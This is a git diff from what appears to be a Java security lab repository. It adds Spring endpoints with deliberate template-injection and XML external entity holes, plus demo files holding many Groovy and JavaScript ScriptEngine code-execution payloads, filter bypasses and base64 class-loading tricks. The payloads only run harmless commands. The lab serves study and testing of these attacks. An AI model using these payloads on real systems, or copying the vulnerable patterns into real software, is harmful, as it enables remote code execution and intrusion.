Whoopsunix + */ +@Controller +@RequestMapping("/ssti") +public class VelocityController { + @RequestMapping("/Velocity/case1") + @ResponseBody + public Object Velocity(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + String result = VelocityAttack.eval(body); + + return result; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/xxe/XXEController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/xxe/XXEController.java new file mode 100644 index 0000000..9c85f5a --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/xxe/XXEController.java @@ -0,0 +1,126 @@ +package com.ppp.springboot.vul.xxe; + +import org.example.XXEAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author Whoopsunix + *

+ * 请求参数获取示例 + */ +@Controller +@RequestMapping("/xxe") +public class XXEController { + @RequestMapping("/case1") + @ResponseBody + public Object case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.xmlReader(requestBody); + return result; + } + + @RequestMapping("/case2") + @ResponseBody + public Object case2(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.jdomSAXBuilder(requestBody); + return result; + } + + + @RequestMapping("/case3") + @ResponseBody + public Object case3(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.jdom2SAXBuilder(requestBody); + return result; + } + + @RequestMapping("/case4") + @ResponseBody + public Object case4(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.javaxSAXParser(requestBody); + return result; + } + + @RequestMapping("/case5") + @ResponseBody + public Object case5(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.dom4jSAXReader(requestBody); + return result; + } + + @RequestMapping("/case6") + @ResponseBody + public Object case6(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.jaxpSAXParserFactoryImpl(requestBody); + return result; + } + + @RequestMapping("/case7") + @ResponseBody + public Object case7(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.xercesSAXParser(requestBody); + return result; + } + + @RequestMapping("/case8") + @ResponseBody + public Object case8(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.javaxDocumentBuilder(requestBody); + return result; + } + + @RequestMapping("/case9") + @ResponseBody + public Object case9(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.jaxpDocumentBuilderImpl(requestBody); + return result; + } + + @RequestMapping("/case10") + @ResponseBody + public Object case10(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.jaxpDocumentBuilderFactoryImpl(requestBody); + return result; + } + + @RequestMapping("/case11") + @ResponseBody + public Object case11(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.jaxpXercesDocumentBuilderFactoryImpl(requestBody); + return result; + } + + @RequestMapping("/case12") + @ResponseBody + public Object case12(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.dom4jDocumentHelper(requestBody); + return result; + } + + @RequestMapping("/case13") + @ResponseBody + public Object case13(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(requestBody); + Object result = XXEAttack.javaxXMLInputFactory(requestBody); + return result; + } + + +} diff --git a/SecVulns/Springboot2/src/main/resources/application.yml b/SecVulns/Springboot2/src/main/resources/application.yml new file mode 100644 index 0000000..47fbb02 --- /dev/null +++ b/SecVulns/Springboot2/src/main/resources/application.yml @@ -0,0 +1,2 @@ +server: + port: 8080 \ No newline at end of file diff --git a/SecVulns/Springboot2/src/main/resources/flag.txt b/SecVulns/Springboot2/src/main/resources/flag.txt new file mode 100644 index 0000000..be69f6f --- /dev/null +++ b/SecVulns/Springboot2/src/main/resources/flag.txt @@ -0,0 +1 @@ +flag{123xxx} \ No newline at end of file diff --git a/SecVulns/VulnCore/Code/pom.xml b/SecVulns/VulnCore/Code/pom.xml new file mode 100644 index 0000000..a642a8e --- /dev/null +++ b/SecVulns/VulnCore/Code/pom.xml @@ -0,0 +1,29 @@ + + 4.0.0 + + com.ppp + Code + 1.0 + jar + + Code + + + UTF-8 + + + + + org.codehaus.groovy + groovy + 2.4.3 + + + + junit + junit + 3.8.1 + + + diff --git a/Serialization/ClassLoad/src/main/java/org/example/Exec.java b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/Exec.java similarity index 95% rename from Serialization/ClassLoad/src/main/java/org/example/Exec.java rename to SecVulns/VulnCore/Code/src/main/java/com/ppp/code/Exec.java index 5b789c8..f23f45b 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/Exec.java +++ b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/Exec.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp.code; /** * @author Whoopsunix diff --git a/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/Groovy.groovy b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/Groovy.groovy new file mode 100644 index 0000000..d1602f1 --- /dev/null +++ b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/Groovy.groovy @@ -0,0 +1,3 @@ +package com.ppp.code + +"open -a Calculator.app".execute() \ No newline at end of file diff --git a/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/GroovyAttack.java b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/GroovyAttack.java new file mode 100644 index 0000000..ad8cee8 --- /dev/null +++ b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/GroovyAttack.java @@ -0,0 +1,16 @@ +package com.ppp.code; + +import groovy.lang.GroovyShell; + +/** + * @author Whoopsunix + */ +public class GroovyAttack { + + // groovyShell + public Object groovyShell(String script) throws Exception { + GroovyShell groovyShell = new GroovyShell(); + + return groovyShell.evaluate(script); + } +} diff --git a/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/GroovyDemo.java b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/GroovyDemo.java new file mode 100644 index 0000000..d20ca8c --- /dev/null +++ b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/GroovyDemo.java @@ -0,0 +1,74 @@ +package com.ppp.code; + +import groovy.lang.GroovyClassLoader; +import groovy.lang.GroovyObject; +import groovy.lang.GroovyShell; + +/** + * @author Whoopsunix + * 参考:https://www.cnblogs.com/yyhuni/p/18012041 + */ +public class GroovyDemo { + public static void main(String[] args) throws Exception{ + /** + * MethodClosure + */ + // Runtime.getRuntime().exec +// MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec"); +// mc.call("open -a Calculator.app"); + // 字符串 +// MethodClosure mc = new MethodClosure("open -a Calculator.app", "execute"); +// mc.call(); + + /** + * GroovyShell + */ +// GroovyShell groovyShell = new GroovyShell(); +// String cmd = "\"whoami\".execute().text"; +// // 还可以通过文件 url 等 +// System.out.println(groovyShell.evaluate(cmd)); + + + + /** + * GroovyScriptEngine + */ +// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("Command/src/main/java/org/command/code"); +//// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:1234/"); +// scriptEngine.run("Groovy.groovy", ""); + + + /** + * GroovyScriptEvaluator + */ + // StaticScriptSource +// GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator(); +// ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text"); +// System.out.println(groovyScriptEvaluator.evaluate(scriptSource)); + + // ResourceScriptSource +// Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy"); +// ScriptSource source = new ResourceScriptSource(urlResource); +// System.out.println(groovyScriptEvaluator.evaluate(source)); + + + /** + * GroovyClassLoader + */ + GroovyClassLoader classLoader = new GroovyClassLoader(); + Class clazz = classLoader.parseClass("class Test {\n" + + " static void main(String[] args) {\n" + + " GroovyShell groovyShell = new GroovyShell();\n" + + " String cmd = \"\\\"whoami\\\".execute().text\";\n" + + " println(groovyShell.evaluate(cmd).toString());\n" + + " }\n" + + "}"); + GroovyObject object = (GroovyObject) clazz.newInstance(); + object.invokeMethod("main", ""); + + // loadClass +// String code = "yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY="; +// new groovy.lang.GroovyClassLoader().defineClass(null, java.util.Base64.getDecoder().decode(code)).newInstance(); + + } +} diff --git a/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/ScriptEngineAttack.java b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/ScriptEngineAttack.java new file mode 100644 index 0000000..9725f67 --- /dev/null +++ b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/ScriptEngineAttack.java @@ -0,0 +1,16 @@ +package com.ppp.code; + +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; + +/** + * @author Whoopsunix + */ +public class ScriptEngineAttack { + public Object eval(String script) throws Exception { + ScriptEngineManager manager = new ScriptEngineManager(); + ScriptEngine engine = manager.getEngineByName("js"); + + return engine.eval(script); + } +} diff --git a/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/ScriptEngineDemo.java b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/ScriptEngineDemo.java new file mode 100644 index 0000000..2993203 --- /dev/null +++ b/SecVulns/VulnCore/Code/src/main/java/com/ppp/code/ScriptEngineDemo.java @@ -0,0 +1,203 @@ +package com.ppp.code; + +import javax.script.ScriptEngine; +import javax.script.ScriptEngineFactory; +import javax.script.ScriptEngineManager; +import java.util.List; + +/** + * @author Whoopsunix + *

+ * 参考: https://forum.butian.net/share/487 + */ +public class ScriptEngineDemo { + public static void exec() throws Exception { + ScriptEngineManager manager = new ScriptEngineManager(); + ScriptEngine engine = manager.getEngineByName("js"); + + // 基本 Runtime + String runtime = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")"; +// engine.eval(runtime); + + // ProcessBuilder + String processBuilder = "var s = [3];" + + "s[0] = \"bash\";" + + "s[1] = \"-c\";" + + "s[2] = \"open -a Calculator.app\";" + + "var x=new java.lang.ProcessBuilder;" + + "x.command(s);" + + "x.start();"; + String processBuilder2 = + "var x=new java.lang.ProcessBuilder;" + + "x.command(\"bash\", \"-c\", \"open -a Calculator.app\");" + + "x.start();"; +// engine.eval(processBuilder2); + + // 获取执行结果 + String execResult = "var runtime = java.lang.Runtime.getRuntime(); " + + "var process = runtime.exec(\"whoami\"); " + + "var inputStream = process.getInputStream(); " + + "var inputStreamReader = new java.io.InputStreamReader(inputStream); " + + "var bufferedReader = new java.io.BufferedReader(inputStreamReader); " + + "var line; " + + "while ((line = bufferedReader.readLine()) != null) { " + + " print(line); " + + "}"; +// engine.eval(execResult); + // 作为结果返回 + String execResult2 = + "var runtime = java.lang.Runtime.getRuntime();" + + "var process = runtime.exec(\"whoami\");" + + "var inputStream = process.getInputStream();" + + "var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");" + + "var result = scanner.hasNext() ? scanner.next() : \"\";" + + "scanner.close();" + + "result;"; +// System.out.println(engine.eval(execResult2)); + + // 注释符绕过 + String commentBypass = "java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator.app\")"; +// engine.eval(commentBypass); + // 空格绕过 + String spaceBypass = "java.lang. Runtime.getRuntime().exec(\"open -a Calculator.app\")"; +// engine.eval(spaceBypass); + + // 自定义方法 + String function = "var x=new Function('return'+'(new java.'+ 'lang./**/ProcessBuilder)')();" + + "x.command(\"open\", \"-a\", \"Calculator.app\");" + + "x.start();" + + "var a = mainOutput();" + + "function mainOutput() {};"; +// engine.eval(function); + + // 调用 eval + String eval = "var a = mainOutput();" + + "function mainOutput() { " + + "new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"" + + "var a = test(); " + + "function test() { " + + "var x=java.lang.\"+\"Runtime.getRuntime().exec(\\\"open -a Calculator.app\\\");};\"); };"; +// engine.eval(eval); + + // type() + String type = "var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator.app\");"; + System.out.println(type); +// engine.eval(type); + + // Rhino + String rhino1 = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"open -a Calculator.app\");"; + String rhino2 = "var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"open -a Calculator.app\");}"; +// engine.eval(rhino2); + + // unicode + // 见 jdk.nashorn.internal.parser.Lexer.JAVASCRIPT_WHITESPACE_IN_REGEXP + String unicode = "java.lang.\u2029Runtime.getRuntime().exec(\"open -a Calculator.app\")"; +// engine.eval(unicode); + + // 注释符 + String comment1 = "java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator.app\")"; + String comment2 = "java.lang.//\nRuntime.getRuntime().exec(\"open -a Calculator.app\")"; + + + } + + public static void defineClass(String javaClassBase64, String className) throws Exception { + ScriptEngineManager manager = new ScriptEngineManager(); + ScriptEngine engine = manager.getEngineByName("js"); + + // 字节码加载 java.util.Base64 + String code = "var data=\"" + javaClassBase64 + "\";" + + "var bytes=java.util.Base64.getDecoder().decode(data);" + + "var classLoader=new java.lang.ClassLoader() {};" + + "var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);" + + "defineClassMethod.setAccessible(true);" + + "var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);" + + "loadedClass.newInstance();"; +// engine.eval(code); + + // new java.lang.ClassLoader() sun.misc.BASE64Decoder + String code2 = "var data=\"" + javaClassBase64 + "\";\n" + + "var aClass = java.lang.Class.forName(\"sun.misc.BASE64Decoder\");\n" + + "var object = aClass.newInstance();\n" + + "var bytes = aClass.getMethod(\"decodeBuffer\", java.lang.String.class).invoke(object, data);\n" + + "var classLoader=new java.lang.ClassLoader() {};\n" + + "var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + "defineClassMethod.setAccessible(true);\n" + + "var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);\n" + + "loadedClass.newInstance();"; +// engine.eval(code2); + + // java.lang.Thread.currentThread().getContextClassLoader() + String code3 = "var data=\"" + javaClassBase64 + "\";" + + "var bytes=java.util.Base64.getDecoder().decode(data);" + + "var classLoader=java.lang.Thread.currentThread().getContextClassLoader();" + + "var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);" + + "defineClassMethod.setAccessible(true);" + + "var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);" + + "loadedClass.newInstance();"; +// engine.eval(code3); + + // 已加载过的 java.lang.Thread.currentThread().getContextClassLoader() + String code4 = "var data=\"" + javaClassBase64 + "\";var bytes=java.util.Base64.getDecoder().decode(data);" + + "var classLoader=java.lang.Thread.currentThread().getContextClassLoader();" + + "try{" + + "var clazz = classLoader.loadClass(\"" + className + "\");" + + "clazz.newInstance();" + + "}catch(err){" + + "var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);" + + "defineClassMethod.setAccessible(true);" + + "var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);" + + "loadedClass.newInstance();" + + "};"; +// engine.eval(code4); + + // feihong 给出的先获取子 ClassLoader 方式 + String code5 = "var clazz = java.security.SecureClassLoader.class;\n" + + " var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var classBytes = '" + javaClassBase64 + "';" + + " var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" + + " var constructor = clazz.getDeclaredConstructor();\n" + + " constructor.setAccessible(true);\n" + + " var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" + + " clz.newInstance();"; + engine.eval(code5); + + + } + + public static void main(String[] args) throws Exception { + printScriptEngineManagerFactories(); + exec(); + +// String javaClassBase64 = new B64().encodeJavaClass(Exec.class); +// System.out.println(javaClassBase64); +// String javaClassBase64 = "yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xvcmcvY29tbWFuZC9jb2RlL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAJQcAIwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwADAANBwAnDAAoACkBAARFeGVjBwAqDAArACwHAC0MAC4ALwEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMADAAMQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtzdGF0aWMgRXhlYwEAFW9yZy9jb21tYW5kL2NvZGUvRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACgALAAAAAAACAAEADAANAAEADgAAAHYAAgACAAAAGiq3AAGyAAISA7YABLgABRIGtgAHV6cABEyxAAEABAAVABgACAADAA8AAAAaAAYAAAAHAAQACQAMAAoAFQAMABgACwAZAA0AEAAAAAwAAQAAABoAEQASAAAAEwAAABAAAv8AGAABBwAUAAEHABUAAAgAFgANAAEADgAAAFsAAgABAAAAFrIAAhIJtgAEuAAFEga2AAdXpwAES7EAAQAAABEAFAAIAAMADwAAABYABQAAABEACAASABEAFAAUABMAFQAVABAAAAACAAAAEwAAAAcAAlQHABUAAAEAFwAAAAIAGA=="; +// defineClass(javaClassBase64, "org.command.code.Exec"); + + } + + /** + * 获取引擎信息 + */ + public static void printScriptEngineManagerFactories() { + ScriptEngineManager manager = new ScriptEngineManager(); + List factories = manager.getEngineFactories(); + for (ScriptEngineFactory factory : factories) { + System.out.printf( + "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" + + "Language version: %s%n" + + "Extensions: %s%n" + + "Mime types: %s%n" + + "Names: %s%n", + factory.getEngineName(), + factory.getEngineVersion(), + factory.getLanguageName(), + factory.getLanguageVersion(), + factory.getExtensions(), + factory.getMimeTypes(), + factory.getNames() + ); + } + } +} diff --git a/Command/pom.xml b/SecVulns/VulnCore/Command/pom.xml similarity index 72% rename from Command/pom.xml rename to SecVulns/VulnCore/Command/pom.xml index ea82580..b1f8e94 100644 --- a/Command/pom.xml +++ b/SecVulns/VulnCore/Command/pom.xml @@ -2,9 +2,9 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.command + com.ppp Command - 1.0-SNAPSHOT + 1.0 war Command @@ -35,15 +35,29 @@ guava 23.0 + + com.ppp.tools + Utils + 1.0 + + + + org.codehaus.groovy + groovy + 2.4.3 + + + + + junit + junit + 3.8.1 + - - org.springframework.boot - spring-boot-maven-plugin - org.apache.maven.plugins maven-compiler-plugin diff --git a/Command/src/main/java/org/command/resultGet/ExecResultGet.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ExecResultMod.java similarity index 98% rename from Command/src/main/java/org/command/resultGet/ExecResultGet.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ExecResultMod.java index 92443d6..1e5cfaa 100644 --- a/Command/src/main/java/org/command/resultGet/ExecResultGet.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ExecResultMod.java @@ -1,4 +1,4 @@ -package org.command.resultGet; +package com.ppp.command; import com.google.common.io.CharStreams; @@ -14,7 +14,7 @@ * @author Whoopsunix * 命令执行结果 INputStream 处理 */ -public class ExecResultGet { +public class ExecResultMod { // java.lang.StringBuilder public String stringBuilder(InputStream inputStream) throws Exception { diff --git a/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/MethodHandlesRuntime.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/MethodHandlesRuntime.java new file mode 100644 index 0000000..3843548 --- /dev/null +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/MethodHandlesRuntime.java @@ -0,0 +1,27 @@ +package com.ppp.command; + +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.invoke.MethodType; + +/** + * @author Whoopsunix + */ +public class MethodHandlesRuntime { + public static void main(String[] args) throws Throwable { + String cmd = "open -a Calculator.app"; + original(cmd); + } + + public static void original(String cmd) throws Exception { + Class cls = Class.forName("java.lang.Runtime"); + Object runtime = cls.getMethod("getRuntime").invoke(null); + cls.getMethod("exec", String.class).invoke(runtime, cmd); + } + + public static void methodHandles(String cmd) throws Throwable { + Class cls = Class.forName("java.lang.Runtime"); + MethodHandle execMethod = MethodHandles.lookup().findVirtual(cls, "exec", MethodType.methodType(Process.class, String.class)); + execMethod.invoke(cls.getMethod("getRuntime").invoke(null), cmd); + } +} diff --git a/Command/src/main/java/org/command/exec/ProcessBuilderDemo.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessBuilderDemo.java similarity index 88% rename from Command/src/main/java/org/command/exec/ProcessBuilderDemo.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessBuilderDemo.java index 0f092e0..521c49d 100644 --- a/Command/src/main/java/org/command/exec/ProcessBuilderDemo.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessBuilderDemo.java @@ -1,6 +1,4 @@ -package org.command.exec; - -import org.command.resultGet.ExecResultGet; +package com.ppp.command; import java.io.InputStream; import java.lang.reflect.Constructor; @@ -43,7 +41,7 @@ public static InputStream reflect(String cmd) throws Exception{ public static void main(String[] args) throws Exception { InputStream inputStream = exec("ifconfig -a"); inputStream = reflect("ifconfig -a"); - ExecResultGet execResultGet = new ExecResultGet(); - System.out.println(execResultGet.stringBuilder(inputStream)); + ExecResultMod execResultMod = new ExecResultMod(); + System.out.println(execResultMod.stringBuilder(inputStream)); } } diff --git a/Command/src/main/java/org/command/exec/ProcessImplDemo.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplDemo.java similarity index 73% rename from Command/src/main/java/org/command/exec/ProcessImplDemo.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplDemo.java index dfb4eb0..fccc322 100644 --- a/Command/src/main/java/org/command/exec/ProcessImplDemo.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplDemo.java @@ -1,6 +1,4 @@ -package org.command.exec; - -import org.command.resultGet.ExecResultGet; +package com.ppp.command; import java.io.InputStream; import java.lang.reflect.Method; @@ -10,7 +8,7 @@ * @author Whoopsunix */ public class ProcessImplDemo { - public static InputStream reflect(String cmd) throws Exception { + public static InputStream exec(String cmd) throws Exception { InputStream inputStream = null; String[] cmds = null; @@ -29,8 +27,8 @@ public static InputStream reflect(String cmd) throws Exception { } public static void main(String[] args) throws Exception { - InputStream inputStream = reflect("ifconfig -a"); - ExecResultGet execResultGet = new ExecResultGet(); - System.out.println(execResultGet.stringBuilder(inputStream)); + InputStream inputStream = exec("ifconfig -a"); + ExecResultMod execResultMod = new ExecResultMod(); + System.out.println(execResultMod.stringBuilder(inputStream)); } } diff --git a/Command/src/main/java/org/command/exec/ProcessImpl_UnixProcess.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplUnixProcess.java similarity index 86% rename from Command/src/main/java/org/command/exec/ProcessImpl_UnixProcess.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplUnixProcess.java index ac2210d..22bf0be 100644 --- a/Command/src/main/java/org/command/exec/ProcessImpl_UnixProcess.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplUnixProcess.java @@ -1,6 +1,4 @@ -package org.command.exec; - -import org.command.resultGet.ExecResultGet; +package com.ppp.command; import java.io.InputStream; import java.lang.reflect.Constructor; @@ -11,8 +9,8 @@ * @Ref: https://github.com/javaweb-sec/javaweb-sec * ProcessImpl & UnixProcess */ -public class ProcessImpl_UnixProcess { - public static InputStream reflect(String cmd) throws Exception { +public class ProcessImplUnixProcess { + public static InputStream exec(String cmd) throws Exception { InputStream inputStream = null; String[] strs = null; if (System.getProperty("os.name").toLowerCase().contains("win")) { @@ -73,8 +71,8 @@ public static byte[] toCString(String s) { } public static void main(String[] args) throws Exception { - InputStream inputStream = reflect("ifconfig -a"); - ExecResultGet execResultGet = new ExecResultGet(); - System.out.println(execResultGet.stringBuilder(inputStream)); + InputStream inputStream = exec("ifconfig -a"); + ExecResultMod execResultMod = new ExecResultMod(); + System.out.println(execResultMod.stringBuilder(inputStream)); } } diff --git a/Command/src/main/java/org/command/exec/ProcessImpl_UnixProcess_by_unsafe_Native.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplUnixProcessByUnsafeNative.java similarity index 90% rename from Command/src/main/java/org/command/exec/ProcessImpl_UnixProcess_by_unsafe_Native.java rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplUnixProcessByUnsafeNative.java index f0799ec..cc03c40 100644 --- a/Command/src/main/java/org/command/exec/ProcessImpl_UnixProcess_by_unsafe_Native.java +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/ProcessImplUnixProcessByUnsafeNative.java @@ -1,6 +1,5 @@ -package org.command.exec; +package com.ppp.command; -import org.command.resultGet.ExecResultGet; import sun.misc.Unsafe; import java.io.InputStream; @@ -12,9 +11,9 @@ * @Ref: https://github.com/javaweb-sec/javaweb-sec * ProcessImpl & UnixProcess by unsafe + Native */ -public class ProcessImpl_UnixProcess_by_unsafe_Native { +public class ProcessImplUnixProcessByUnsafeNative { - public static InputStream reflect(String cmd) throws Exception { + public static InputStream exec(String cmd) throws Exception { InputStream inputStream = null; String[] strs = null; @@ -100,8 +99,8 @@ public static byte[] toCString(String s) { } public static void main(String[] args) throws Exception { - InputStream inputStream = reflect("ifconfig -a"); - ExecResultGet execResultGet = new ExecResultGet(); - System.out.println(execResultGet.stringBuilder(inputStream)); + InputStream inputStream = exec("ifconfig -a"); + ExecResultMod execResultMod = new ExecResultMod(); + System.out.println(execResultMod.stringBuilder(inputStream)); } } diff --git a/Command/src/main/java/org/command/exec/RuntimeDemo.java b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/RuntimeDemo.java similarity index 86% rename from Command/src/main/java/org/command/exec/RuntimeDemo.java rename to 